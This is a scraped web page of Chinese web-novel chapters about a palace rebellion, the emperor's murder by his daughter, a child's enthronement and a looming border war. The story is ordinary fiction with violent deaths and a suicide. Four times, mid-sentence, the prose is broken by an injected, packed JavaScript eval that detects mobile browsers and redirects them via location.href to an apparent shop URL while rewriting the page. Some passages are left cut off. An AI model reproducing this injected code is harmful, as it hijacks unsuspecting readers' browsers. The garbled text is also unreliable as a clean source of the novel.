叶岚惊讶地看了一眼冷书屿,只见他眼神坚毅,朝她点点头。二人继续合作,倒也没让敌人近身。叶岚又发射了一枚鸣镝。 程骁寡不敌众,腹背皆受伤。在这危机时刻,数名黑衣侍卫从房顶而降。 原来侍卫内着黑衣、外穿布衣,暗中随叶岚到了崇安王府后,便各自潜伏隐匿在王府外的各个方位。入夜后,脱去布衣融入夜色。 叛乱起后,侍卫们没有妄动,只是暗中观察情况。见叶岚没有出现,便一直待在原地。直至王府东北方有鸣镝声,才集结人员从屋顶向鸣镝发出的地方赶去。但当时杂乱,并不能确定叶岚的具体方位,直至她发出第二个鸣镝,侍卫确定地点,迅速找到了她。 侍卫很快解决了周围的敌人,可后面还有敌人赶来。叶岚对冷书屿说道:“屿儿,上马,我送你出城。” 可冷书屿却说:“婶婶,我还是想去找父亲和母亲,我不想丢下他们独活。” 叶岚看着周围越来越多的敌人,出城的机会极小,不如回去找他们,援军到来也会先去救崇安王。也不知时间过去了多久?也不知冷逸尘什么时候来?也不知他会不会来…… 叶岚这次没有拒绝,而是看了看天空,崇安王府门口火光通天,应有人马集结,于是说道:“上马,回王府正门。” 说完二人上马直奔崇安王府正门。 王府正门处,程思锦着提剑,扶着受伤的冷逸凡站着,羽林卫凌乱地护在他们周围。对面布满了身着铠甲的军士,无数弓箭对准了冷逸凡夫妇。 为首的将军苑仲则骑在马上,正说着:“崇安王殿下,快快束手就擒,跟末将回去向陛下请罪。” “本王对父皇忠心无二,从未谋反,是谁如此陷害于本王?”冷逸凡说着已是口中滴血。 “不要嘴硬了。陛下口谕,反抗者格杀勿论、就地正法。殿下还是保命要紧。” 正在僵持之时,侍卫护着叶岚、冷书屿、程骁三人,自人群中砍杀而来,到了冷逸凡夫妻身边。冷书屿上前与母亲一起扶住父亲。叶岚则提剑将所有人护于身后,大声说道:“本宫乃梁国昭阳公主、崇宁王正妃,谁敢妄动。” 苑仲则丝毫不惧,反而笑道:“哈哈,梁国公主又如何?崇宁王妃又如何?今日陛下的旨意便是:反抗者,一律格杀勿论。” 此前冷逸凡也怀疑过是冷逸尘陷害。但听了此话,他才明白了过来,他对面的才是叛军。他对程思锦和冷书屿说道:“苑仲则是皇后的人,反叛的人是皇后。 叶岚又说道:“将军这话恐怕不是陛下的意思吧。本宫若今日出事,本宫父兄的几十万大军将横扫祁国。这样的后果将军想不到,但陛下肯定会想到。以全国之安危来取本宫的性命,这买卖不划算。” 苑仲则无言可对,只说了一句:“本将军只是奉命行事。”说罢欲抬手示意弓箭手,可手只抬到了一半,只听后面传来厮杀冲锋声。 是冷逸尘率军赶来,他一路挺进,策马直奔叶岚前面,将一众人挡在身后。 他下马提刀直指苑仲则,喝道:“苑仲则,你这是谋反,速速退兵。” “我只奉旨办事,反抗者,格杀勿论。”说完又想抬起手,想示意弓箭手。可手还未抬起,他便摔下了马。以头抢地,摔得脑浆迸溅。叶岚看得出,是泽生的暗器。 紧接着冷逸尘的人马冲了上来,众叛军见首将已死,纷纷束手就擒。叶岚看着冷逸尘的身影,深深呼了一口气,眼中溢满泪水。可还未等眼泪流下,却听见后面程思锦的哀呼声。 叶岚回头,只见冷逸凡躺在程思锦怀中,口中不断喷出鲜血。原来他已身负重伤,此前不过是在硬撑罢了。这一松懈下来,肌肉放松,血便如泉涌一般。 此刻,冷逸尘也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073885|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来到了冷逸凡身边,紧紧握住他的手,急切地叫道:“二哥、二哥,坚持住。我带你去找军医。” 冷逸凡紧紧攥住冷逸尘的手,艰难地说道:“是皇后,快回去救父皇,父皇有危险。” 冷逸尘听完一愣,这是怎么回事?今日祁帝收到密信,说冷逸凡谋反。祁帝怒不可遏,苑仲则自请去剿灭叛军。冷逸尘说:未有真凭实据,不得轻信,他愿入京探查虚实。皇后却再三阻拦:“陛下安危最重要,冷逸尘身为皇子应留在陛下身边全力保护。 还未等有个结果分说,京中又急报:崇安王起兵谋反。皇后还责备冷逸尘耽误了时间,命苑仲则即刻回京平叛。冷逸尘左思右想,依旧觉得此事有蹊跷。便背着皇后说服了父皇,带来一队人马也向京城奔去。不料半路就遇见了冷逸凡派出求救的军士。 冷逸凡见冷逸尘未动,又急切地说了一遍:“快走,回去救驾。”说完用尽全身力气把他推开,这一使劲便又吐出许多鲜血来。 冷逸尘惦念父皇安危,也知冷逸凡大限已至,心中悲哀,便对冷逸凡行了叩拜礼。而后他转身向身后的叶岚走去。叶岚还傻傻地站在原地。 冷逸尘拉住叶岚的手,叶岚冰冷的手却感受不到他的任何温度。冷逸尘眼中无限哀戚,对叶岚说道:“我来晚了。此地危机已解,你留在这里,等我回来。泽生会陪你在这里。”说完,未等叶岚回答便快速上马,带队离去。 叶岚看着他远去的背影,只心中默默地念道:我一会儿便去找你。 此刻的冷逸凡已是无力回天,他用尽全身的力气将手伸向已哭成泪人的程思锦,嘴里喃喃地说着“思思”两字。她握着他颤抖的手摸上自己的脸颊,可不多时那手便垂了下去,只在她的脸颊上留下了一片血迹。冷逸凡停止了呼吸,停止了心跳。 “不……”程思锦吼了出来,她紧紧地抱住他,万念俱灰。她伸手摸向自己的发间,拔出簪子,悄悄扎进了自己的心脏。她在他耳边低语:逸凡,我这就随你来了。 叶岚看着程思锦的头低了下去,还以为她哭晕了过去。便上前去拉她的手,一摸才发现竟是沉沉得毫无生气。她这才反应了过来,眼泪瞬间而下,低声唤着:“嫂嫂”。 冷书屿亦伏在父母尸身上大哭。 一夜间,冷书屿父母双亡。叶岚拉着他给父母磕了头,唤来泽生,命令道:“带本宫去找冷逸尘。” 泽生还是头一次听叶岚如此对这样他讲话,又见她眼神冷冷,便知她已是铁了心了。 “婶婶,我与你同去,我要为父亲、母亲报仇。”冷书屿已擦干眼泪,像个男子汉一样站在了叶岚面前。 叶岚没有拒绝,而是说道:“好,但婶婶也不知道现在是什么情况,也不知道究竟谁是始作俑者。答应婶婶,一直跟着我,不要冒进。” 叶岚不拒绝的原因有三:一是若硬留下他,只怕他也会悄悄跟来;二是事情已明朗,行宫那里不会有多大危险;三是有些事情需要让他看到真相,以后便不会相信那些胡编乱造之说。 叶岚上马后,将头上程思锦送给她的发簪小心藏于怀中。于火光中,回望了一眼程思锦夫妇的遗体后,便策马前行,奔赴行宫。 42. 刚强不可凌 快马半个时辰,便到了平川行宫。 这里也是火光冲天,一片慌乱,黑压压的军士包围了祁帝的寝殿。 泽生抓住一个小中官,问发生了什么。中官颤颤抖抖地说道:“陛下薨逝了……长公主挟持了皇后娘娘。” 冷逸尘听了只觉荒唐,快步穿过人群快速向祁帝的寝殿奔去。 原来,皇后得知冷逸尘入京,顿时火冒三丈,但也无可奈何。此番“谋反”,她已筹划了半年之久,终于抓到了这次秋猎的机会。 祁帝出行,百官扈从,京中只剩了些文官。这样一来,冷逸凡便是孤军,围剿了他,谋反的事便也坐实了。 这些自然都是她为冷逸尘谋划,这个孩子心地太善,本以为在沙场历练两年,见见生死,会心硬一些,没想到还是这个性子。 眼见祁帝已立下冷逸凡为太子的诏书,只待秋猎后颁布,那么恶人就让她来做吧。她相信终会有一天这孩子会理解并感谢她今日的所作所为。 恰巧今夜,长公主与驸马再起冲突,二人闹到皇后跟前,皇后无心管他们,斥责了几句将他们打发了。 长公主气不过便又去找父皇,今日一定要个结果出来。祁帝正因京中情况不明而烦忧,他想不明白冷逸凡为何如此沉不住气。 现在女儿女婿又闹得如此,不禁勃然大怒,欲将他们二人赶出去。皇后恐她二人坏了今晚的大事,随后也过来劝解。 皇帝盛怒,中官不敢入内。不多时,众人只听正殿内传来祁帝的斥责之声,皇后的惊呼声、随后有器物摔倒的声音和驸马的惨叫声。 紧接着众人便看见长公主提着帝王之剑从,胁迫着皇后从正殿出来,鲜血覆盖了剑锋的光芒。她脸颊上沾着血渍,嘴角一抹疯笑,眼中充满恨意。 她身后跟着一个侍卫,金恒。众人望向殿内,祁帝伏地、血染龙袍,驸马亦倒地,血流三尺。 见此情境,中官侍女们皆惊恐尖叫。侍卫们立即将她们三人团团围住,瞬间整个行宫为之惊动。 皇后被这突变惊得头晕目眩,即便是她想为冷逸尘争得帝位,也从未想过要弑君。 她对长公主没有一点防备,万万没想到,温顺乖巧的女儿会突然变成这样:杀君弑父,大逆不道。她接受不了现实,依旧对长公主抱有幻想:“韵儿,你在做什么?放开本宫!” 无人主事,侍卫不敢妄动。有人欲从背后袭击,皆被金恒抵挡。内阁中两位官员已闻声而来,立即安排弓箭手伏在外围,大声斥责冷秋韵之罪。 冷秋韵并不理会,挟持着皇后又退入正殿内。 众人正不知如何是好之际,冷逸尘赶回了行宫。看到此情此景,犹如平明受了一记惊天雷。 他绝望地看着眼前的长公主,甚至不敢相信提剑之人就是他那曾经温柔善良的姐姐。他悲戚而又愤恨地问道:“长姐,为什么要这样?” 叶岚赶到行宫时,看到的便是冷逸尘与冷秋韵对峙的这般景象。 殿内的冷秋韵一袭红衣,将皇后按坐在帝位上,剑锋搭在皇后肩上。高傲而疯魔地笑道:“为什么?你应应该问问她为什么!这一切都是她造成的。你可知我当年嫁给聂之仪,是多么不愿意。是她贪图聂家权势,硬逼我嫁。我去求父皇,父皇反劝说我要担起公主的责任。可你们谁又知道,我这几年过的是什么样的日子。” 痛苦的回忆在她脑中翻涌。驸马聂之仪喜饮酒,且酒后无德,仗着自家权势,对公主羞辱至极。二人对外却还要装的夫妻恩爱和顺,公主有苦难言,痛苦不堪。 是金恒的温柔宽慰,陪她度过了人生最艰难的时光。金恒就像一缕光,照进了她黑暗的人生,将她从泥潭中拉出。 二人私情终究不为世间所容,金恒经历了一次暗害之后,长公主便动了杀心。既然天地不容,那就逆天而行! 她恨意再起,左手紧紧地抓住了皇后的肩膀,吓得皇后一激灵。 “姐姐!放下剑吧!她是母后啊!”冷逸尘上前两步。 冷秋韵冷笑一声,质问皇后:“母后?你有资格做我们的母后吗?你为了得到了你想要的,可以牺牲一切人。如今我只是想和离,你不同意,说有损皇家颜面。在你们眼里,这颜面可比我的幸福重要得多。我今日去求父皇,他也不同意,我便杀了他。聂之仪也被我杀了,不和离那就只能丧夫。这样我便可以和金恒光明正大地在一起了。” 说完她大笑起来,笑声中带着解脱与释放。笑完,她变得悲凉且愤怒,厉声道:“我们原本就可以在一起,都是因为你。”说完剑锋向皇后靠近了一些。 冷逸尘紧张地上前一步:“长姐……” 冷秋韵继续说道:“别以为我小,什么都不记得。你毒害了我的母亲,收养了我,我那时只是怕你,所以处处装得娴静端庄,才保全了性命。” 她长叹一口气:“我这一装就是二十多年,我甚至都忘了自己应该是个什么样的人……我真的是太累了……” “逸尘啊,你可知她也不是你的亲生母亲吗?你的生母也是被她害死的!那是她嫡亲的堂妹呀,她都下得去手。她自己无法生育,去母留子,是她一贯的做法。你难道不想报仇吗?” 冷逸尘听了一愣,他只知皇后不是自己的亲生,却不想背后有如此之事。可皇后对他的养育和爱护也是真的,一时间他不知如何是好,不知该说什么。 “不,不是这样的……不是……她是病死的……”皇后听到此处开始反驳。冷秋韵将她按住,剑抬了一抬,她瑟瑟发抖,不再多言。 冷逸尘怕长姐再冲动,说道:“此事我早已知道……可母后也将我们抚育成人啊……我们不该恨她……” 冷秋韵见他依旧是这般心软,如此仇恨都能放下,有些失望无奈的摇了遥头::“逸尘啊逸尘!你还真如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冷逸尘的一声“长姐”叫得嘶哑而绝望,蚀心腐骨的疼痛令他的躯体颤抖起来。艰难地挪向殿内抱起冷秋韵尸身,感受着她体温随着鲜血的流尽而消散。。 他抬头环顾一屋子的尸体。这一刻,他也不知道该做什么,该想些什么,只是一遍一遍叫着“长姐……长姐……”悲痛中满是绝望。 这一夜,父亲、哥嫂、姐姐竟都离他而去。 皇后醒来,看着满地的鲜血,痴痴傻傻地笑了起来。当她摸到鲜血时,又尖叫起来,胡乱地说道:“流血了……死了!不是我,不是我……” 众人皆伏倒在地,发出呜呜咽咽哭声。 叶岚心中五味俱陈,走到冷逸尘身边,抬手想抚触他,但最后却放弃了,她怕轻轻一碰他会碎掉。 她转身走出大殿,抬头望天。中秋之月,清清冷冷地挂在空中,这本该是个团圆的日子。 火光驱不散暗夜的黑,她看向东方,期盼着日轮快快升起。 43. 惊枝犹未稳 一夜之间,祁国皇室血脉,只剩下了冷逸尘和冷书屿二人。冷逸尘没有时间悲痛,他迅速振作,将冷书屿保护起来。 既然他父皇有遗诏,立冷逸凡为太子,那现在继承大业便该是冷书屿。冷逸尘一面命众臣工归京,各司其职;一面召集韩平等一众他信得过的将领带兵进京。 待返回安定城时,天已大亮,城内满目苍夷。路旁皆是打翻的摊位,花灯沾着鲜血碎在路上,触目惊心。 人们默默地收拾着自家门庭,皆感知到大事当头,但之后如何,此时似乎也没人去推测打算。当着这改天换地之时,民间一切虽火杂杂,但又是木木然。 此时人心未稳,易生变故。冷逸尘命泽生送叶岚回了崇宁王府,加派了重兵防守,并下令任何人不得出入,就算是圣旨到了,也要抗旨而为。 叶岚回来后,便是坐卧难安,不寝不食,但也深知着急无用,唯有耐心等待,可时间为何过得如此缓慢。秋雨绵绵,淅淅沥沥。她心境一如此时阴沉的天色。 如此过了五日。安如见她如此,深感担忧,恐再这样下去熬坏了身体。便劝着她喝了些清粥,又灌了一碗安神的汤药,她这才安睡了半日。 待睁开双眼时,夕阳残照将屋子映成一片红色。这如血的颜色让她十分不安,似乎又见到了那夜的火光和鲜血。 她将头蒙了起来,只盼着冷逸尘能快快归来。不多时,被子又被人掀开,她惊得颤抖了一下,睁眼看见了冷逸尘。 只见眼前之人面庞憔悴、下颌上的胡茬已有半寸长,看上去苍老了许多。她立即坐起身来紧紧地抱住他,只是哭泣。 冷逸尘眼睛泛酸,轻抚着她的背说道:“都过去了,没事了……”他说这话亦是在安慰自己。 叶岚不松手,哭着问道:“你是不是要去做皇帝了?” “你希望我去做皇帝吗?” “不要,那个位置不好坐。”叶岚使劲摇着头。 冷逸尘听闻此言,心中有了几分安慰,她与他的心是一样的。“我找到了父皇有遗诏,屿儿会继任大业。” 叶岚又哭了一会,说道:“这几日,我怕得要命,日日盼着有你的消息。” “我怕有人图谋不轨,不敢传消息出来……让你担心了。” 此时外面有人说道:“殿下,内阁谴人来请殿下,有要事商议。” “不许走,我不要你走。”叶岚紧紧揽住他,仿佛一松手他就要消失了一般。 冷逸尘对外说道:“去回他们,有事明日再议。”说完又轻声对叶岚说道:“我不走了。” “什么时候能回来住?” 冷逸尘摇摇头:“不知道。这几日准备父皇和哥嫂的丧仪,然后登基大典。现在朝中人心思变,但好在内阁尚稳,一切都还在掌握之中。” 冷逸尘说道轻描淡写,可这三日却过得惊心动魄。他一夜之间失去了父母、姐姐、兄嫂,可他没有时间去悲伤。 站在历史岔路口,该如何选择,他心中已有成算。 祁国的内阁在国家政务处理、政策决定中占相当大的权利。国家决议由祁帝提出,再经过内阁商讨决定。可行的话便拟出具体方案再交于祁帝定夺,祁帝权利大于内阁,对内阁人员有任免权。 先前祁帝写下立冷逸凡为太子的诏书,必定是经过内阁商讨而定的。所以冷浩屿继承大任名正言顺。 况且当年祁帝和内阁决定与梁国和亲之时,就已经默认放弃了对冷逸尘的选择,就为了防止异国公主成为祁国的掣肘。这也是太后不喜叶岚的原因。 此事冷逸尘心中早已了然,再加上性情使然,故而他从未有夺嫡之心。 众臣工归京后齐聚在勤政殿,等着找到诏书。半日查找,诏书找到了,上面也的确是写立冷逸凡为太子,但是未加盖玺印。 为此朝臣便产生了分歧。有人认为未盖玺印,便是无效,按顺位就是冷逸尘继位。有人则认为这遗诏是先帝亲笔,即使未加盖玺印,也应遵守先帝遗愿,令冷逸凡一脉继承大业。两派争执不下。 冷逸尘与冷书屿,一个成年皇子和一个刚满十岁的孩童。支持冷书屿的人里呼声最高的不是冷氏一族,而是大将军何敞,就是何媛的父亲。 之前何家与皇后关系暧昧,而今立即转头支持冷书屿,其思想必不纯粹。此前太后,也就是皇后,为冷逸尘谋划娶何媛,便也是看重他家的势力。此事一部分朝臣看得通透,便有人死谏。 冷逸尘先稳住众臣工。他自然也质疑何敞的目的,将来挟天子以令诸侯也未可知也。但他依然决定遵从遗诏、遵从自己内心的选择。 他也不急于说出自己的想法,他在等,等韩平等人的到来,手里有了军权,便有了话语权。 冷逸尘苦苦地挨着,为了防止有人离间作梗,他与冷书屿一刻也不分开,吃住都在勤政殿内。 第五日清晨终于等来了韩平。这时冷逸尘又拿出了一份已盖好玺印的诏书,称这几日又将勤政殿翻找了一遍,才在大殿内“中正仁和”的牌匾后找出了这份诏书,此前看到的是草拟的诏书。 这下众臣工无话可说。冷逸尘率先跪拜冷书屿,紧接着是冷书屿的两个舅舅和韩平,接着由内而外,众人皆叩首,山呼万岁。 大局已定,冷逸尘直奔王府而归。 到了王府听了泽生讲述了这几日叶岚的境况,便衣服也未换,直奔清和轩。 冷逸尘将叶岚从怀中扳出来,好好看着。只见她披散着头发、面色苍白、眼下乌青,目光无神。 他为她擦掉眼泪,继续说道:“都过去了……还好你没事,我现在只有你一个亲人了。” 提到“亲人”二字,他已哽咽,眼泪瞬间溢了出来。二人紧紧相拥,都不愿松开,直至安如安排了膳食,在外敲门。 冷逸尘晚膳后沐浴更衣,皆在清和轩内。他换了白色长衫、半束着头发,坐于案几旁写着什么。 叶岚沐浴后坐在他身侧,拿起梳子为他梳理半干的头发。二人抬眼相视一笑,笑中多有苦涩。 不多时,冷逸尘写完,起身拿了件披风为她披上,将她的发髻散开,接过梳子为她梳理头发。 “天凉了,自己多注意身子,这几日让你担心了。一切都已成定局,待京中之事完毕,咱们就回燕北。中秋之夜的事,侍卫已向我汇报过了。现在真的后怕极了,真不该让你一个人留在京中。我很庆幸你学了剑术,有能力保护自己。不然我真不知道该怎么办。”想起那日之事,冷逸尘依旧后怕不已。 “那日回来,看见街上用白布盖着的尸体,我很害怕,比前一日……我杀了人还怕……”提及那场景,叶岚犹觉汗毛倒竖。那夜她的确杀了人,剑上沾满了鲜血,她不禁打了个寒战。 冷逸尘将她揽入怀中,安慰道:“不要怕,那是为了自保。” “可泽生说,你从来没杀过人。” “那是以前了,我不会一招让人毙命,会给他一线生机。但经历了这么多事,心也会变得狠了起来。” “不,若你心狠便不会这样选择了。母后……她如何了?”叶岚想起了皇后。她想,皇后再怎么坏,但她也抚养了两个孩子长大。现在落得这样的下场,反而有些可怜她。 提到母后,冷逸尘有些心痛:“母后她只是一时迷了心窍,我将她留在了平川行宫休养。等京中事毕,我想带她一起去燕北,她毕竟养育过我,不能留她一人在京中。” 叶岚点了点头,她就知道他一定会这样做。 他二人说了一夜的话,或说长公主的事、或说冷逸凡夫妻的事、或者说未来的事。总之是霜华万里路,连朝语不息。 前尘往事,有些世人知道,有些则将永远堙没在滚滚红尘之中。皇后虽然被救了回来,没有陷入疯癫,但是却不似常人。 皇后姓沈名苒,十六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073887|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁入宫,因相貌出众,多得祁帝青睐。很快就与冷秋韵生母平分秋色。她假意与冷秋韵生母友善交好,却趁其不备毒杀了她、夺了她的孩子。 但她后来才知,祁帝的白月光是先皇后,朱砂痣是冷逸凡的母亲,但这两个人都已故去。即便没有了别人,她也不是祁帝心里的最爱。既然没有爱情,那就要有权利。 她自己无法生育,便设计让堂妹入宫,生下了冷逸尘。堂妹本已许了人家,被她硬生生地拆散,因此郁郁而终。 收养了冷逸尘后,又一步一步登上后位。她看似儿女双全,福泽无限,其实却是女儿背叛、儿子贰心。半生筹谋,终是竹篮打水一场空。说来皇后这一生,机关算尽,却落得个如此下场,可恨可叹又可怜。 凌晨,冷逸尘实在困倦,睡了过去,叶岚偎着他不愿睡去,可最终还是入梦了。 梦里燕北的桃花开得正盛,但很快就被黑色的焰烟吞没,天空都被染成了黑色。 再一转头,便是冷秋韵自刎那一幕。叶岚惊醒,头汗涔涔。睁眼冷逸尘坐在床边正,要用帕子擦去她的汗水,外面早已大亮。 冷逸尘担忧地问:“做噩梦了?” 叶岚稳了稳心神,坐起来反道:“你还没走?什么时辰了?别耽误了正事。” “我担心你醒来看不到我会伤心。这几日好好用膳,养足精神。朝中近来要举办各种仪式,泽生会带侍卫护你左右,一切小心……若是不想参加就告病假。” 昨日留下他,叶岚已觉得任性,现在又为她耽搁了这么久,实在是过分了。她催促他快走。 今夕不同往时,先前他有皇子这层身份罩着,“骄纵”些也无人敢说什么;如今他只是人臣、且是手握兵权的重臣,必要躬身勤勉、不可懈怠,谨言慎行,不可大意。 冷逸尘没有急着走,看顾着叶岚用了早膳,细细叮嘱一番后才离开。 此后一个月内,各种仪式。安如劝叶岚不必件件参与,身体要紧。但叶岚执意要参加,平日里的活动可以拒绝,但此等大事叶岚必是要参加的,她不能给世人留下话柄,如此便是对冷逸尘不利。 于逝者,她倒是没有多少情思,只觉得非常疲惫。她唯在冷逸凡与程思锦的陵前站了许久,只为程思锦曾经待她的那份真心。 叶岚抚摸着墓碑,活生生的人变成了这几个冰冷的字。人生就是这样,短短百年,孤身而来,孤身而去,什么也留不下、什么也带不走。她一阵心酸,不觉落下泪来。 “婶婶。”她身后响起来冷书屿的声音。 叶岚忙拭了泪,转身叩拜:“臣妇拜见陛下。” 冷书屿身着一身太子制式的丧服,端然而立。未登帝位,暂不可用帝王倚仗和制式。 他屏退左右,命叶岚起身,说道:“婶婶请起,该侄儿给婶婶行礼。” “陛下不可乱了君臣纲常。”叶岚起身后又行一礼。 “我还没谢婶婶的救命之恩。” “陛下福泽深厚,自有三清真人护佑,那日臣妇亦是自救。希望陛下以后不要再提及此事。”叶岚否认事实、撇清关系,为了日后若有什么事,不要让他以为她挟恩图报。 “母亲说过,婶婶看似性情冷漠,实则内心柔软重情。婶婶的恩情,我永远会记住。叔叔说待大典过后便去燕北,可我想叔叔和婶婶能留在京城。我现在只有你们两个亲人了。” 提及程思锦,叶岚的心软了一些。她看着眼前的小大人,他终究还只是个孩子,有些事需要慢慢理解和明白。 她继续说道:“陛下恕罪,容臣妇再叫陛下一声‘屿儿’。屿儿,你即将登帝位,此后你便不再是你自己,你是这天下的帝王,文臣武将、天下百姓皆是你的亲人。屿儿,不忘初心、方得始终,你会是个好皇帝……臣妇告退。”说罢,叶岚倒行两步,转身离去。 日光淡远、西风落叶。秋天,本就是个哀伤的季节。 44. 孤凤飞歧路 九月十八,祁宫内举行了登基大典。新帝继位、祭拜宗庙、昭告天下。百官归位,天下安定。 此前冷逸尘用诏书草案一计,诈出了何家一党,但就目前朝局而言却不宜动何家。首先他们只知何家之心,并无真凭实据;再者何家是两朝重臣、手握重军,又是新帝的拥立者,没有合适的由头直接处置了,恐伤了满朝文武的心,引起朝堂恐慌。 新帝继位,宜先收拢人心,巩固权利,慢慢削弱何家势力,争取不动用武力妥善解决。 叔侄二人的想法很好,但是需要时间去执行,而叶岚却迫不及待地想回燕北去。经历这么多变故,她无法再安心于此处。她日日精神恍惚,如同一个溺水者,被无形的力量紧紧箍住了喉咙,难以喘息。 看着精神紧张、日渐消瘦的叶岚,冷逸尘心疼又自责,思考良久,决定请旨去燕北驻守。 新帝自然不愿,但内阁却一致同意,原因有二:首先边境匈奴人活动频繁,恐他们会趁乱来攻,需大将镇守;再者崇宁王身为皇叔、手握重权,的确不宜留于京中。 经内阁多番商讨和冷逸尘一再上书,新帝最终同意了。待先帝的五期丧仪过后,他们再出发。 出发日期已定,叶岚满心期待。可偏偏出发前一日,内阁一位要员突然故去。内阁变动是朝中大事,冷逸尘只得将行程后延。 叶岚得知消息,如同被泼了一盆冷水,但这水却压不住内心的怒火。她想喝口水压一压情绪,可手却不听使唤地颤抖起来,忍不住将茶盏摔了出去。她一刻也不能等了,恨不得现在就离开。 冷逸尘未料到她会有如此强烈的反应,上前握住她的手,用帕子擦干。 她焦躁不安:“不行,我不能再等了,再等下去怕是要疯掉。” 冷逸尘十分不解:“一切都安定了,你怎么反倒变得胆怯起来了?” “我这几日思来想去,陛下要我们留在京中,我总觉得是在防着你。帝王之心难测,虽然现下是同意我们离开,保不准什么时候又会反悔。”叶岚一股脑地将担忧说出。 冷逸尘却认为她是太紧张的缘故:“你多虑了。陛下是屿儿,他会尊重我们的意愿。” “不,我现在就要走。”叶岚将手从他的手中抽出。 “再等我几日好不好,别这么任性。”冷逸尘这话,语气虽然温和,但在叶岚听来依旧是在指责,听着极为不顺耳。 她开始不讲道理:“我怎么任性了?我只是想离开这里,怎么就任性了!” 冷逸尘自悔失言,道歉后小心地同她商量:“可我真的不能抛下这一切,现在就离开。再等等我,等这些事处理完了。我们再走,好不好?” “不好!不行!这里我是一刻也待不下去了。”叶岚站起来,焦躁得几乎要哭出来。 冷逸尘想拉她入怀安抚她的情绪,却被她推开。他只得用了些力气揽住:“我会尽快处理好这些事情,乖,在家等我回来。” 叶岚闭眼深吸一口气,强压着情绪:“我在燕北等你。”说完从他怀中挣脱出来,打开门说道:“你走,我现在不想同你讲话。” 冷逸尘此时朝中有事,不得不走。他在门口驻足,叶岚转脸不看他。他心中叹气,但也只能出去了。 他走后叶岚便将房门关闭,心中一股烦躁之气怎么也发泄不出去。她背靠着门,深深吸了几口气,忍不住流下了眼泪。 她已拿定主意,独自先行去燕北。随即又抹掉泪,开门唤来秋雨,说道:“抓紧时间收拾东西,原计划不变。” 最终冷逸尘没有拗得过叶岚,只得命泽生率护卫同行。他只能送她到城外九里台。 出了京城东门,叶岚顿觉轻松起来,仿佛肩上卸下了两座大山。冷逸尘却始终双眉紧蹙,以前总是他外出、叶岚等待。这次相反,他也终于体会到了叶岚之前担忧和思念。 叶岚对他怒气未消,一路不言。 九里台旁,冷逸尘久久不愿下车,拉着叶岚的手说道:“我都依你了,不要再生气了。同我说句话,好吗?等京中事情处理完毕,我即刻启程燕北。” 叶岚只是点头,却不愿看他。 冷逸尘一把将她揽过,激烈地吻上了她的唇。她被这突然的举动弄的措手不及,使劲锤了他两下。但又恐马车摇晃,外面的人误会,便放弃了挣扎,任由他吻着。 长吻过后,冷逸尘闭着眼睛,用额头抵着她的额头,平复着呼吸说道:“建昌大营的陈铨,记得吗?他帐下五千精锐是我的亲军。你剑柄上的飞燕型兵符可调动此军。在燕北等我,等我回去了,我们再也不分开。”说罢狠了狠心,下车去了。 车马出发了,叶岚掀开帷幕的一角,偷偷看着冷逸尘的身形逐渐变小,心中一阵酸涩。她拿出剑一看,剑柄上果然多了一个飞燕型的装饰。 冷逸尘看着车马远去,消失不见,心中的空缺被忧伤填满,眼中满是落寞。 七日后,叶岚没有等到冷逸尘赶上来,而是得到了他去重峪关的消息。 祁国重峪关和梁国函关,就是叶岚出嫁时途径的那两座关隘。 这两座城池为何相距甚近?是因为此处有银矿矿脉,你从这边挖,他从那边挖,时间长了就兴起城镇,再后来两国就着城镇修建了城池关隘,以山脉为界。 这起冲突自然也是因为银矿。祁国朝局形势未稳,就忽视了此种小冲突。未想形势愈演愈烈,祁国人竟突袭了梁国驻军,造成伤亡。 梁军向祁军讨说法,祁军自然护短。梁军当然不会善罢甘休,便也出兵攻打。梁国派来叶皓这员大将向祁国宣战之时,双方军队半月内已经发生了三次冲突。 九月末的涵关,秋意正浓。城里城外尽是一片金橙色。梁国士兵的怒气就犹如这秋色正盛。 叶皓也知此战不宜打,但军士们的怒气难消。再者,京中局势也是紧张,速战速决后他需尽快回京。此时,他已无退路,只得宣战。 祁国新帝继位第一战,不少将军跃跃欲试,欲争战功。冷逸尘却深知此战不能打,若打了,定是两败俱伤,也将陷叶岚于两难之地。 上上策唯有组织谈判、重新明确疆界、落实矿脉开采权。可朝中主战的多、主和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哥哥与夫君对阵,她必要去阻止的。是福不是祸,是祸躲不过,如今只有去面对。她当即命令队伍启程重峪关。 